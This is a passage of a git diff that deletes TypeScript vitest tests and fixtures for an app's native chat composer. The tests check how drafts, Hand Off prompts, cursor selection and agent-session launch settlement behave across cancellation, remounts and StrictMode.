-  '../../runtime/native-chat/host-capabilities/structured-agent-session-host-support',
-  async (original) => ({
-    ...(await original<typeof StructuredAgentSessionHostSupport>()),
-    supportsStructuredAgentSessionCreateMessage: async () => false
-  })
-)
-vi.mock('@/runtime/native-chat/tab-inventory/structured-session-tab-inventory', () => ({
-  readStructuredSessionTabInventory: async () => []
-}))
-vi.mock('sonner', () => ({ toast: { info: vi.fn(), error: vi.fn() } }))
-
-export let main: TabsDrawnFromMain
-export let storage: ReturnType<typeof createMemoryNativeChatComposerDraftStorage>
-beforeEach(async () => {
-  vi.clearAllMocks()
-  localStorage.clear()
-  clearNativeChatComposerDraftsForTests()
-  clearNativeChatPendingAttachmentsForTests()
-  resetStructuredAgentLaunchRegistryForTests()
-  resetLocalStructuredSessionVersionForTests()
-  storage = createMemoryNativeChatComposerDraftStorage()
-  setNativeChatComposerDraftStorageForTests(storage)
-  await hydrateNativeChatComposerDrafts()
-  useAppStore.setState({
-    activeWorktreeId: 'wt-1',
-    unifiedTabsByWorktree: {},
-    groupsByWorktree: {},
-    activeGroupIdByWorktree: {},
-    tabsByWorktree: {},
-    tabBarOrderByWorktree: {}
-  })
-  main = await drawTabsFromMain(useAppStore)
-})
-const pendingPositions: { cancel(): void; finish(): Promise<void> }[] = []
-afterEach(async () => {
-  for (const pending of pendingPositions.splice(0)) {
-    pending.cancel()
-    await pending.finish()
-  }
-  vi.restoreAllMocks()
-  main.close()
-})
-
-export const POSITION_TEXT = 'Hand Off\ncontext  '
-export function openPositionDraft() {
-  const creation = Promise.withResolvers<unknown>()
-  rpc.call.mockImplementation((_target, method) =>
-    method === 'agentSession.create'
-      ? creation.promise
-      : Promise.resolve({ ok: true, supported: true })
-  )
-  const plan = adoptAgentSessionLaunchVerdict({
-    requestId: 'position',
-    route: 'structured-native-chat',
-    agent: 'claude',
-    worktreeId: 'wt-1',
-    executionHostId: 'local',
-    prompt: POSITION_TEXT,
-    promptDelivery: 'draft'
-  })
-  const handle = beginStructuredAgentSessionProvisionalLaunch({
-    plan,
-    hooks: {},
-    focusIntent: { request: vi.fn(), cancel: vi.fn() }
-  })
-  if (!handle?.tab) {
-    throw new Error('Expected destination')
-  }
-  const finish = async () => {
-    creation.resolve({
-      ok: true,
-      value: { sessionId: handle.sessionId, fence: 1, page: { submissions: [] } }
-    })
-    await handle.settlement
-    await main.settle()
-  }
-  pendingPositions.push({ cancel: handle.cancel, finish })
-  return { ...handle, finish }
-}
-export function PositionField({
-  scope,
-  input,
-  tabId = 'ordinary',
-  disabled = false
-}: {
-  scope: string
-  input: ReturnType<typeof createRef<NativeChatComposerInput>>
-  tabId?: string
-  disabled?: boolean
-}) {
-  const ime = useImeEnterGestureOwnership()
-  const draft = useNativeChatDraft(scope, ime.isComposing)
-  const noop = () => {}
-  const props: NativeChatComposerFieldProps = {
-    draftScopeKey: scope,
-    textareaRef: input,
-    draft: draft.draft,
-    disabled,
-    hasPty: false,
-    canSend: false,
-    autocomplete: { mode: 'none' },
-    mentionFiles: { files: [], loading: false, failed: false },
-    activeSuggestion: 0,
-    notices: [],
-    imageAttachments: [],
-    sendButtonDisabled: true,
-    isWorking: false,
-    attachDisabled: true,
-    dictationDisabled: true,
-    isDictating: false,
-    isDictationHoldMode: false,
-    imeEnterGesture: ime,
-    onDraftChange: (value) => draft.setDraft(value),
-    onTextareaSelect: noop,
-    onKeyDown: noop,
-    onImeSettled: (element) => {
-      draft.setDraft(element.value)
-      draft.flushDraftAppends()
-    },
-    onPaste: noop,
-    pickerListboxId: 'position',
-    onChoosePickerItem: noop,
-    onRetrySkills: noop,
-    onChooseMentionFile: noop,
-    onRemoveImageAttachment: noop,
-    onAttach: noop,
-    onDictationToggle: noop,
-    onDictationHoldStart: noop,
-    onDictationHoldEnd: noop,
-    onSend: noop,
-    sessionOptionsSurface: null,
-    sessionOptionsSnapshot: []
-  }
-  return (
-    <TooltipProvider>
-      <NativeChatComposerField {...props} positionTarget={tabId} />
-    </TooltipProvider>
-  )
-}
-
-export function positionInventory(
-  sessionId: string | null,
-  version: number
-): RuntimeMobileSessionTabsResult {
-  return {
-    worktree: 'wt-1',
-    publicationEpoch: 'position-epoch',
-    snapshotVersion: version,
-    activeGroupId: null,
-    activeTabId: null,
-    activeTabType: null,
-    tabs: sessionId
-      ? [
-          {
-            type: 'agent-session',
-            id: `agent-session:${sessionId}`,
-            sessionId,
-            agent: 'claude',
-            title: 'Chat',
-            isActive: false
-          }
-        ]
-      : []
-  }
-}
-export async function startPositionMain() {
-  main = await drawTabsFromMain(useAppStore)
-}
diff --git a/src/renderer/src/lib/agent-session/structured-agent-session-ordinary-draft.test.tsx b/src/renderer/src/lib/agent-session/structured-agent-session-ordinary-draft.test.tsx
deleted file mode 100644
index 2e88cc7533f..00000000000
--- a/src/renderer/src/lib/agent-session/structured-agent-session-ordinary-draft.test.tsx
+++ /dev/null
@@ -1,546 +0,0 @@
-// @vitest-environment happy-dom
-import {
-  rpc,
-  main,
-  storage,
-  POSITION_TEXT,
-  openPositionDraft,
-  PositionField
-} from './structured-agent-session-draft-position.test-fixture'
-import { act, render, renderHook, within, fireEvent } from '@testing-library/react'
-import { createRef, StrictMode } from 'react'
-import type { NativeChatComposerInput } from '@/components/native-chat/composer/editor/native-chat-composer-input'
-import { promptEditor } from '@/components/native-chat/composer/editor/native-chat-prompt-editor.test-support'
-import { expect, it, vi } from 'vitest'
-import { useAppStore } from '@/store/index'
-import { adoptAgentSessionLaunchVerdict } from './launch/routing/agent-session-launch-plan'
-import { beginStructuredAgentSessionProvisionalLaunch } from './structured-agent-session-provisional-tab'
-import {
-  getStructuredLaunchStateBySessionId,
-  hasStructuredAgentSessionLaunchCancellationTombstone
-} from './launch/structured-agent-session-launch-registry'
-import { hasStagedStructuredLaunchPrompt } from './launch/structured-agent-session-launch-prompt'
-import { wasStructuredAgentLaunchClosedByLocalCancel } from './launch/structured-agent-session-local-launch-cancel'
-import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../shared/layout-owner-switch'
-import { clearNativeChatComposerDraftsForTests } from '@/components/native-chat/drafts/native-chat-draft-reset'
-import {
-  flushNativeChatComposerDrafts,
-  nativeChatComposerDraftWritesSettled
-} from '@/components/native-chat/drafts/native-chat-composer-draft-persistence'
-import { hydrateNativeChatComposerDrafts } from '@/components/native-chat/drafts/native-chat-composer-draft-load'
-import {
-  readNativeChatComposerDraft,
-  updateNativeChatComposerDraft
-} from '@/components/native-chat/drafts/native-chat-composer-draft-store'
-import { structuredAgentSessionDraftScopeKey } from '@/components/native-chat/drafts/native-chat-draft-scope'
-import { setNativeChatComposerDraftStorageForTests } from '@/components/native-chat/drafts/native-chat-composer-draft-storage'
-import {
-  addNativeChatPendingAttachment,
-  nativeChatPendingAttachmentSnapshot
-} from '@/components/native-chat/attachments/chips/native-chat-pending-attachment-cache'
-import { promptTextContent } from '@/components/native-chat/composer/editor/native-chat-prompt-document-text'
-import { useNativeChatDraft } from '@/components/native-chat/drafts/use-native-chat-draft'
-import { openStructuredAgentSessionProvisionalTab } from './launch/structured-agent-session-launch-surface'
-import { structuredAgentSessionTabId } from '../../../../shared/agent-session/view/structured-agent-session-projection'
-import {
-  handBackStructuredAgentSessionMessage,
-  returnMessageToComposer
-} from '@/components/native-chat/session/structured/delivery/structured-agent-session-message-hand-back'
-import { CreateIntentParams } from '../../../../shared/rpc-contract/structured-agent-session-params'
-it.each(['close', 'cancel', 'abort', 'edited-close'] as const)(
-  'keeps a nonresume Hand Off through actual %s and late create settlement',
-  async (action) => {
-    const creation = Promise.withResolvers<unknown>()
-    rpc.call.mockImplementation((_target, method) => {
-      if (method === 'agentSession.create') {
-        return creation.promise
-      }
-      if (method === 'agentSession.createSupport') {
-        return Promise.resolve({ supported: true })
-      }
-      if (method === 'agentSession.close') {
-        return Promise.resolve({ ok: true })
-      }
-      throw new Error(`Unexpected provider operation ${method}`)
-    })
-    const controller = new AbortController()
-    const text = 'Hand Off context\nwith exact trailing bytes  '
-    const plan = adoptAgentSessionLaunchVerdict({
-      requestId: `early-${action}`,
-      route: 'structured-native-chat',
-      agent: 'claude',
-      worktreeId: 'wt-1',
-      executionHostId: 'local',
-      prompt: text,
-      promptDelivery: 'draft'
-    })
-    const handle = beginStructuredAgentSessionProvisionalLaunch({
-      plan,
-      hooks: { signal: controller.signal },
-      focusIntent: { request: vi.fn(), cancel: vi.fn() }
-    })
-    if (!handle?.tab) {
-      throw new Error('Expected a provisional source')
-    }
-    const { tab } = handle
-    const scope = structuredAgentSessionDraftScopeKey(handle.sessionId)
-    await main.settle()
-    await vi.waitFor(() =>
-      expect(rpc.call.mock.calls.some(([, method]) => method === 'agentSession.create')).toBe(true)
-    )
-    const params = CreateIntentParams.parse(
-      rpc.call.mock.calls.find(([, method]) => method === 'agentSession.create')?.[2]
-    )
-    expect(params.resumeFrom).toBeUndefined()
-    expect(params.firstMessage).toBeUndefined()
-    expect(hasStagedStructuredLaunchPrompt(handle.sessionId)).toBe(false)
-    expect(readNativeChatComposerDraft(scope)).toMatchObject({
-      text,
-      document: promptTextContent(text),
-      owner: { workspaceId: 'wt-1', executionHostId: 'local' }
-    })
-    const edited = action === 'edited-close'
-    const expectedText = edited ? 'my later text' : text
-    const expectedDocument = edited
-      ? { ...promptTextContent(expectedText), attrs: { edited: true } }
-      : promptTextContent(text)
-    if (edited) {
-      updateNativeChatComposerDraft(
-        scope,
-        {
-          text: expectedText,
-          document: expectedDocument,
-          images: [{ id: 'kept', path: '/repo/kept.png' }]
-        },
-        'immediate'
-      )
-      addNativeChatPendingAttachment(scope, { id: 'pending', path: '', pending: true })
-    }
-    if (action === 'cancel') {
-      handle.cancel()
-    } else if (action === 'abort') {
-      controller.abort()
-    } else {
-      useAppStore.getState().closeUnifiedTab(tab.id)
-    }
-    await main.settle()
-    const remainingIds = (useAppStore.getState().unifiedTabsByWorktree['wt-1'] ?? []).map(
-      (row) => row.id
-    )
-    expect(readNativeChatComposerDraft(scope).text).toBe(expectedText)
-    expect(readNativeChatComposerDraft(scope).document).toEqual(expectedDocument)
-    expect(
-      ORCA_LAYOUT_OWNER_IS_MAIN
-        ? wasStructuredAgentLaunchClosedByLocalCancel(handle.sessionId)
-        : hasStructuredAgentSessionLaunchCancellationTombstone('wt-1', handle.sessionId)
-    ).toBe(true)
-    creation.resolve({
-      ok: true,
-      value: { sessionId: handle.sessionId, fence: 1, page: { submissions: [] } }
-    })
-    expect((await handle.settlement).kind).not.toBe('structured')
-    await main.settle()
-    expect(getStructuredLaunchStateBySessionId(handle.sessionId)).toBeUndefined()
-    expect(
-      (useAppStore.getState().unifiedTabsByWorktree['wt-1'] ?? []).map((row) => row.id)
-    ).toEqual(remainingIds)
-    if (action.endsWith('close')) {
-      expect(useAppStore.getState().getTab(tab.id)).toBeNull()
-    }
-    expect(
-      rpc.call.mock.calls.filter(([, method]) => method === 'agentSession.create')
-    ).toHaveLength(1)
-    expect(
-      rpc.call.mock.calls.every(
-        ([, method]) =>
-          method === 'agentSession.create' ||
-          method === 'agentSession.close' ||
-          method === 'agentSession.createSupport'
-      )
-    ).toBe(true)
-    if (edited) {
-      expect(nativeChatPendingAttachmentSnapshot(scope)).toHaveLength(1)
-    }
-    await nativeChatComposerDraftWritesSettled()
-    expect(storage.drafts.get(scope)).toMatchObject({
-      text: expectedText,
-      document: expectedDocument,
-      owner: { workspaceId: 'wt-1', executionHostId: 'local' }
-    })
-    clearNativeChatComposerDraftsForTests()
-    setNativeChatComposerDraftStorageForTests(storage)
-    await hydrateNativeChatComposerDrafts()
-    const reader = renderHook(() => useNativeChatDraft(scope, () => false))
-    expect(reader.result.current.draft).toBe(expectedText)
-    expect(readNativeChatComposerDraft(scope).document).toEqual(expectedDocument)
-    if (edited) {
-      expect(readNativeChatComposerDraft(scope).images).toEqual([
-        { id: 'kept', path: '/repo/kept.png' }
-      ])
-    }
-    reader.unmount()
-    await act(async () => {})
-  }
-)
-
-it.each(['before', 'mounted', 'delayed-disabled', 'metadata', 'ordinary', 'replaced'] as const)(
-  'installs the exact production draft and native position under StrictMode: %s',
-  async (schedule) => {
-    const input = createRef<NativeChatComposerInput>()
-    let scope = 'agent-session:ordinary-position',
-      tabId = 'ordinary'
-    let view: ReturnType<typeof render> | undefined
-    const mount = () =>
-      render(
-        <StrictMode>
-          <div hidden={schedule === 'delayed-disabled'}>
-            <PositionField
-              scope={scope}
-              input={input}
-              tabId={tabId}
-              disabled={schedule === 'delayed-disabled'}
-            />
-          </div>
-        </StrictMode>
-      )
-    if (schedule === 'mounted') {
-      const uuid = '11111111-2222-4333-8444-555555555555'
-      vi.spyOn(crypto, 'randomUUID').mockReturnValue(uuid)
-      const id = `claude_${uuid.replaceAll('-', '_')}`
-      scope = structuredAgentSessionDraftScopeKey(id)
-      tabId = structuredAgentSessionTabId(id)
-      view = mount()
-      await act(async () => {
-        openPositionDraft()
-        await main.settle()
-      })
-    } else if (schedule === 'ordinary') {
-      updateNativeChatComposerDraft(
-        scope,
-        { text: POSITION_TEXT, document: promptTextContent(POSITION_TEXT) },
-        'immediate'
-      )
-    } else {
-      const handle = openPositionDraft()
-      scope = structuredAgentSessionDraftScopeKey(handle.sessionId)
-      tabId = handle.tab.id
-      if (schedule === 'metadata') {
-        updateNativeChatComposerDraft(
-          scope,
-          { images: [{ id: 'image', path: '/image.png' }] },
-          'immediate'
-        )
-      }
-      if (schedule === 'replaced') {
-        updateNativeChatComposerDraft(
-          scope,
-          { text: `${POSITION_TEXT}changed`, document: undefined },
-          'immediate'
-        )
-      }
-      if (schedule === 'delayed-disabled') {
-        // ast-grep-ignore: test-no-real-time-wait-tsx -- Cross the former 1s expiry before hidden/disabled attachment.
-        await new Promise((resolve) => setTimeout(resolve, 1050))
-      }
-    }
-    view ??= mount()
-    const expected = schedule === 'replaced' ? `${POSITION_TEXT}changed` : POSITION_TEXT
-    const end = !['ordinary', 'replaced'].includes(schedule)
-    expect(input.current!.value).toBe(expected)
-    expect([input.current!.selectionStart, input.current!.selectionEnd]).toEqual(
-      end ? [expected.length, expected.length] : [0, 0]
-    )
-    const editor = promptEditor(within(view.container).getByRole('textbox', { hidden: true }))
-    expect(editor.state.selection.from).toBe(end ? editor.state.doc.content.size - 1 : 1)
-    if (schedule !== 'delayed-disabled') {
-      act(() => input.current!.insertText!('!'))
-      expect(input.current!.value).toBe(end ? `${expected}!` : `!${expected}`)
-    }
-    act(() => input.current!.setSelectionRange(2, 5))
-    view.rerender(
-      <StrictMode>
-        <div>
-          <PositionField scope={scope} input={input} tabId={tabId} />
-        </div>
-      </StrictMode>
-    )
-    act(() => input.current!.focus())
-    expect([input.current!.selectionStart, input.current!.selectionEnd]).toEqual([2, 5])
-    view.unmount()
-  }
-)
-
-it.each(['close-before-attach', 'consumed-remount', 'sibling-first'] as const)(
-  'uses the actual destination lifetime without changing its ordinary draft: %s',
-  async (schedule) => {
-    const handle = openPositionDraft(),
-      scope = structuredAgentSessionDraftScopeKey(handle.sessionId)
-    await main.settle()
-    await vi.waitFor(() =>
-      expect(rpc.call.mock.calls.some(([, method]) => method === 'agentSession.create')).toBe(true)
-    )
-    await handle.finish()
-    const original = readNativeChatComposerDraft(scope)
-    const input = createRef<NativeChatComposerInput>()
-    const mount = (tabId = handle.tab.id) =>
-      render(
-        <StrictMode>
-          <PositionField scope={scope} input={input} tabId={tabId} />
-        </StrictMode>
-      )
-    if (schedule === 'close-before-attach') {
-      useAppStore.getState().closeUnifiedTab(handle.tab.id)
-      await main.settle()
-      openStructuredAgentSessionProvisionalTab({
-        worktreeId: 'wt-1',
-        executionHostId: 'local',
-        sessionId: handle.sessionId,
-        agent: 'claude'
-      })
-      await main.settle()
-      expect(useAppStore.getState().getTab(handle.tab.id)?.entityId).toBe(handle.sessionId)
-    } else if (schedule === 'consumed-remount') {
-      const first = mount()
-      expect(input.current!.selectionStart).toBe(POSITION_TEXT.length)
-      first.unmount()
-    } else {
-      const sibling = mount('other-tab')
-      expect(input.current!.selectionStart).toBe(0)
-      sibling.unmount()
-    }
-    const view = mount()
-    expect(input.current!.value).toBe(POSITION_TEXT)
-    expect(input.current!.selectionStart).toBe(
-      schedule === 'sibling-first' ? POSITION_TEXT.length : 0
-    )
-    expect(readNativeChatComposerDraft(scope)).toBe(original)
-    view.unmount()
-  }
-)
-
-it.each(['range', 'edit', 'ime'] as const)(
-  'keeps substantive native %s ahead of a held saved load and permits another restored editor',
-  async (kind) => {
-    const scope = 'agent-session:user-before-load',
-      input = createRef<NativeChatComposerInput>(),
-      other = createRef<NativeChatComposerInput>()
-    clearNativeChatComposerDraftsForTests()
-    const loaded = Promise.withResolvers<ReadonlyMap<string, unknown>>()
-    setNativeChatComposerDraftStorageForTests({ ...storage, loadAll: () => loaded.promise })
-    const loading = hydrateNativeChatComposerDrafts()
-    const first = render(
-      <StrictMode>
-        <PositionField scope={scope} input={input} />
-      </StrictMode>
-    )
-    const field = within(first.container).getByRole('textbox')
-    await storage.write(scope, { text: 'typed before load', images: [], savedAt: 1 })
-    const channel = new BroadcastChannel('orca-native-chat-composer-drafts')
-    channel.postMessage({ scopeKey: scope })
-    await act(async () => {
-      await vi.waitFor(() => expect(input.current!.value).toBe('typed before load'))
-    })
-    channel.close()
-    if (kind !== 'range') {
-      act(() => {
-        input.current!.setSelectionRange(0, 0)
-        input.current!.insertText!('!')
-      })
-    }
-    act(() => input.current!.setSelectionRange(2, 5))
-    const before = promptEditor(field).getJSON()
-    const saved = {
-      text: POSITION_TEXT,
-      images: [],
-      savedAt: 1,
-      document: promptTextContent(POSITION_TEXT)
-    }
-    await act(async () => {
-      loaded.resolve(
-        new Map([
-          [scope, saved],
-          ['agent-session:eligible', saved]
-        ])
-      )
-      await loading
-    })
-    if (kind === 'ime') {
-      fireEvent.compositionEnd(field, { data: 'typed' })
-    }
-    expect(input.current!.value).toBe(kind === 'range' ? POSITION_TEXT : '!typed before load')
-    expect(promptEditor(field).getJSON()).toEqual(
-      kind === 'range' ? promptTextContent(POSITION_TEXT) : before
-    )
-    expect([input.current!.selectionStart, input.current!.selectionEnd]).toEqual([2, 5])
-    first.unmount()
-    const eligible = render(
-      <StrictMode>
-        <PositionField scope="agent-session:eligible" input={input} />
-        <PositionField scope="agent-session:eligible" input={other} />
-      </StrictMode>
-    )
-    expect([input.current!.selectionStart, other.current!.selectionStart]).toEqual([0, 0])
-    act(() => input.current!.setSelectionRange(2, 5))
-    expect([input.current!.selectionStart, input.current!.selectionEnd]).toEqual([2, 5])
-    expect(other.current!.selectionStart).toBe(0)
-    eligible.unmount()
-    const remount = render(<PositionField scope={scope} input={input} />)
-    expect(input.current!.value).toBe(kind === 'range' ? POSITION_TEXT : '!typed before load')
-    expect(input.current!.selectionStart).toBe(0)
-    remount.unmount()
-  }
-)
-
-it('uses actual no-focus Hand Off host admission, seed, open and create settlement without reauthoring on repeat', async () => {
-  const creation = Promise.withResolvers<unknown>()
-  rpc.call.mockImplementation((_target, method) =>
-    Promise.resolve(
-      method === 'agentSession.createSupport'
-        ? { supported: true }
-        : method === 'agentSession.create'
-          ? creation.promise
-          : { ok: true }
-    )
-  )
-  const plan = adoptAgentSessionLaunchVerdict({
-    requestId: 'no-focus',
-    route: 'structured-native-chat',
-    agent: 'claude',
-    worktreeId: 'wt-1',
-    executionHostId: 'local',
-    prompt: POSITION_TEXT,
-    promptDelivery: 'draft'
-  })
-  const launch = beginStructuredAgentSessionProvisionalLaunch({ plan, hooks: {} })
-  if (!launch) {
-    throw new Error('Expected admission')
-  }
-  expect(launch.tab).toBeNull()
-  await vi.waitFor(() =>
-    expect(rpc.call.mock.calls.some(([, method]) => method === 'agentSession.create')).toBe(true)
-  )
-  const params = CreateIntentParams.parse(
-    rpc.call.mock.calls.find(([, method]) => method === 'agentSession.create')?.[2]
-  )
-  expect(params.firstMessage).toBeUndefined()
-  const tab = (useAppStore.getState().unifiedTabsByWorktree['wt-1'] ?? []).find(
-    (tab) => tab.contentType === 'agent-session'
-  )
-  if (!tab) {
-    throw new Error('Expected admitted tab')
-  }
-  creation.resolve({
-    ok: true,
-    value: { sessionId: tab.entityId, fence: 1, page: { submissions: [] } }
-  })
-  await launch.settlement
-  await main.settle()
-  const scope = structuredAgentSessionDraftScopeKey(tab.entityId),
-    original = readNativeChatComposerDraft(scope),
-    input = createRef<NativeChatComposerInput>()
-  const mount = () =>
-    render(
-      <StrictMode>
-        <PositionField scope={scope} tabId={tab.id} input={input} />
-      </StrictMode>
-    )
-  const first = mount()
-  expect(input.current!.value).toBe(POSITION_TEXT)
-  expect(input.current!.selectionStart).toBe(POSITION_TEXT.length)
-  act(() => input.current!.setSelectionRange(2, 5))
-  openStructuredAgentSessionProvisionalTab({
-    worktreeId: 'wt-1',
-    executionHostId: 'local',
-    sessionId: tab.entityId,
-    agent: 'claude'
-  })
-  await main.settle()
-  expect(readNativeChatComposerDraft(scope)).toBe(original)
-  expect([input.current!.selectionStart, input.current!.selectionEnd]).toEqual([2, 5])
-  first.unmount()
-  const second = mount()
-  expect(input.current!.selectionStart).toBe(0)
-  second.unmount()
-  expect(
-    rpc.call.mock.calls.filter(([, method]) => method === 'agentSession.createSupport')
-  ).toHaveLength(2)
-})
-
-it('keeps genuine handback and foreign adoption on their ordinary native mapping', async () => {
-  const scope = 'agent-session:controls',
-    input = createRef<NativeChatComposerInput>()
-  updateNativeChatComposerDraft(scope, { text: 'original' }, 'immediate')
-  const view = render(
-    <StrictMode>
-      <PositionField scope={scope} input={input} />
-    </StrictMode>
-  )
-  act(() => input.current!.setSelectionRange(2, 5))
-  act(() =>
-    expect(
-      handBackStructuredAgentSessionMessage('controls', 'one', {
-        kind: 'message',
-        role: 'user',
-        blocks: [{ type: 'text', text: 'returned' }]
-      })
-    ).toBe(true)
-  )
-  expect(input.current!.value).toBe('original\n\nreturned')
-  expect([input.current!.selectionStart, input.current!.selectionEnd]).toEqual([2, 5])
-  act(() =>
-    expect(returnMessageToComposer(scope, 'two', [{ type: 'text', text: 'second' }])).toBe(true)
-  )
-  expect(input.current!.value).toBe('original\n\nreturned\n\nsecond')
-  expect([input.current!.selectionStart, input.current!.selectionEnd]).toEqual([26, 26])
-  await nativeChatComposerDraftWritesSettled()
-  flushNativeChatComposerDrafts()
-  await nativeChatComposerDraftWritesSettled()
-  await storage.write(scope, { text: 'foreign replacement', images: [], savedAt: 100 })
-  const channel = new BroadcastChannel('orca-native-chat-composer-drafts')
-  channel.postMessage({ scopeKey: scope })
-  await act(async () => {
-    await vi.waitFor(() => expect(input.current!.value).toBe('foreign replacement'))
-  })
-  expect([input.current!.selectionStart, input.current!.selectionEnd]).toEqual([19, 19])
-  channel.close()
-  view.unmount()
-})
-
-it.each(['edit', 'ime'] as const)(
-  'lets genuine native %s win between accepted seed and actual adoption, without replay on remount',
-  async (kind) => {
-    const uuid = '11111111-2222-4333-8444-555555555555'
-    vi.spyOn(crypto, 'randomUUID').mockReturnValue(uuid)
-    const id = `claude_${uuid.replaceAll('-', '_')}`,
-      scope = structuredAgentSessionDraftScopeKey(id),
-      input = createRef<NativeChatComposerInput>()
-    const mount = () =>
-      render(
-        <StrictMode>
-          <PositionField scope={scope} tabId={structuredAgentSessionTabId(id)} input={input} />
-        </StrictMode>
-      )
-    const first = mount(),
-      field = within(first.container).getByRole('textbox')
-    await act(async () => {
-      openPositionDraft()
-      if (kind === 'ime') {
-        fireEvent.compositionStart(field)
-      }
-      input.current!.insertText!('native wins  ')
-      input.current!.setSelectionRange(2, 5)
-      if (kind === 'ime') {
-        fireEvent.compositionEnd(field, { data: 'native wins  ' })
-      }
-      await main.settle()
-    })
-    expect(input.current!.value).toBe('native wins  ')
-    expect([input.current!.selectionStart, input.current!.selectionEnd]).toEqual([2, 5])
-    expect(promptEditor(field).getJSON()).toEqual(promptTextContent('native wins  '))
-    first.unmount()
-    const second = mount()
-    expect(input.current!.value).toBe('native wins  ')
-    expect(input.current!.selectionStart).toBe(0)
-    second.unmount()
-  }
-)
diff --git a/src/renderer/src/lib/agent-session/structured-agent-session-provisional-selection-lifetime.test-fixture.ts b/src/renderer/src/lib/agent-session/structured-agent-session-provisional-selection-lifetime.test-fixture.ts
deleted file mode 100644
index 83df6011bc9..00000000000
--- a/src/renderer/src/lib/agent-session/structured-agent-session-provisional-selection-lifetime.test-fixture.ts
+++ /dev/null
@@ -1,246 +0,0 @@
-import { expect, vi } from 'vitest'
-import { useAppStore } from '@/store/index'
-import type { StructuredAgentLaunchHandle } from './launch/continuation/structured-agent-launch-settlement'
-import type { OpenedAgentSessionTab } from './launch/pane/structured-agent-session-tab-open-through-layout-owner'
-import type { TabsDrawnFromMain } from '@/store/slices/tabs/tabs-drawn-from-main.test-fixture'
-import { getStructuredLaunchStateBySessionId } from './launch/structured-agent-session-launch-registry'
-import { nativeChatComposerDraftWritesSettled } from '@/components/native-chat/drafts/native-chat-composer-draft-persistence'
-import { readNativeChatComposerDraft } from '@/components/native-chat/drafts/native-chat-composer-draft-store'
-import { structuredAgentSessionDraftScopeKey } from '@/components/native-chat/drafts/native-chat-draft-scope'
-import { promptTextContent } from '@/components/native-chat/composer/editor/native-chat-prompt-document-text'
-import {
-  startStructuredAgentLaunch,
-  retryStructuredAgentSessionLaunch
-} from './launch/structured-agent-session-launch'
-import { trackStructuredLaunchConfirmationDeadline } from './launch/structured-agent-session-launch-prompt-outcome'
-import { holdStructuredAgentSessionLaunchOption } from './launch/structured-agent-session-launch-options'
-import { structuredSessionSelectionController } from './options/structured-agent-session-selection-controller'
-import type { SelectionOperation } from '../../../../shared/agent-session/options/structured-agent-session-selection-operations'
-import { structuredAgentSessionPayloadFingerprint } from '../../../../shared/agent-session/lifecycle/structured-agent-session-mutation'
-import type * as launchModule from './launch/structured-agent-session-launch-create-call'
-import * as sessionClient from '@/runtime/native-chat/requests/structured-agent-session-call'
-import * as runtimeRpc from '@/runtime/rpc/calls/runtime-rpc-call'
-
-export async function assertProvisionalSelectionLifetime({
-  launch,
-  chat,
-  main,
-  accept,
-  launchCall
-}: {
-  launch: Pick<StructuredAgentLaunchHandle, 'executionHostId' | 'settlement'>
-  chat: OpenedAgentSessionTab
-  main: Pick<TabsDrawnFromMain, 'settle'>
-  accept: (receipt: Awaited<ReturnType<typeof launchModule.launchStructuredAgentSession>>) => void
-  launchCall: ReturnType<typeof vi.fn>
-}): Promise<void> {
-  const optionResponse = Promise.withResolvers<unknown>()
-  const optionCall = vi
-    .spyOn(sessionClient, 'callStructuredAgentSession')
-    .mockReturnValueOnce(optionResponse.promise)
-  const rpcCall = vi.spyOn(runtimeRpc, 'callRuntimeRpc')
-  const pending = getStructuredLaunchStateBySessionId(chat.entityId)
-  let controller: ReturnType<typeof structuredSessionSelectionController> | undefined
-  let operation: SelectionOperation | undefined
-  let pick: ReturnType<typeof holdStructuredAgentSessionLaunchOption> = null
-  let joined: ReturnType<typeof startStructuredAgentLaunch> | undefined
-  let optionAnswered = false
-  void optionResponse.promise.then(() => {
-    optionAnswered = true
-  })
-  const scope = structuredAgentSessionDraftScopeKey(chat.entityId)
-  const lateReply = { ok: true, value: { options: { model: 'picked' } } }
-  try {
-    await main.settle()
-    expect(useAppStore.getState().getTab(chat.id)?.entityId).toBe(chat.entityId)
-    if (!pending) {
-      throw new Error('Missing original pending launch')
-    }
-    const intent = pending.intent
-    const originalResult = pending.promise
-    pending.intent.createMessageSupport = true
-    controller = structuredSessionSelectionController(intent.target, chat.entityId, intent.agent)
-    pick = holdStructuredAgentSessionLaunchOption(chat.entityId, 'model', 'picked')
-    operation = controller.current('model')
-    if (!operation || !pick) {
-      throw new Error('Missing original held selection')
-    }
-    expect(operation.result).toBe(pick)
-    expect(operation).toMatchObject({
-      key: 'model',
-      value: 'picked',
-      model: 'picked',
-      transmitted: false
-    })
-    expect(operation.request).toBeUndefined()
-    expect(operation.outcome).toBeUndefined()
-    expect(controller.isCurrent()).toBe(true)
-    expect(controller.pending()).toEqual([operation])
-    expect(controller.isPending('model')).toBe(false)
-    expect(controller.pendingId()).toBe('model')
-    expect(controller.overlay()).toEqual({ model: 'picked' })
-    expect(optionAnswered).toBe(false)
-
-    joined = startStructuredAgentLaunch('wt-1', 'claude', {
-      requestId: 'after-success',
-      prompt: 'hand-off context',
-      promptDelivery: 'draft',
-      resumeFrom: { providerSessionId: 'prior-chat' }
-    })
-    expect(joined.joined).toBe(true)
-    expect(joined.sessionId).toBe(chat.entityId)
-    expect(joined.executionHostId).toBe(launch.executionHostId)
-    expect(joined.launchResult).toBe(originalResult)
-    expect(pending.intent).toBe(intent)
-    expect(getStructuredLaunchStateBySessionId(chat.entityId)).toBe(pending)
-    expect(launchCall).toHaveBeenCalledOnce()
-    expect(readNativeChatComposerDraft(scope).text).toBe('hand-off context')
-    expect(readNativeChatComposerDraft(scope).document).toEqual(
-      promptTextContent('hand-off context')
-    )
-    vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout'] })
-    trackStructuredLaunchConfirmationDeadline(pending, originalResult)
-    await vi.advanceTimersByTimeAsync(30_000)
-    expect(pending.visibilityUnknown).toBe(true)
-    expect(pending.callers.outcome).toBe('unknown')
-    expect(controller.current('model')).toBe(operation)
-    expect(controller.overlay()).toEqual({ model: 'picked' })
-    expect(operation.transmitted).toBe(false)
-    expect(operation.outcome).toBeUndefined()
-    expect(optionAnswered).toBe(false)
-    vi.useRealTimers()
-    accept({ sessionId: chat.entityId, fence: 1 })
-    expect(await launch.settlement).toMatchObject({
-      kind: 'structured',
-      sessionId: chat.entityId
-    })
-    expect(await originalResult).toEqual({ sessionId: chat.entityId, fence: 1 })
-    expect(await joined.launchResult).toEqual({ sessionId: chat.entityId, fence: 1 })
-    await main.settle()
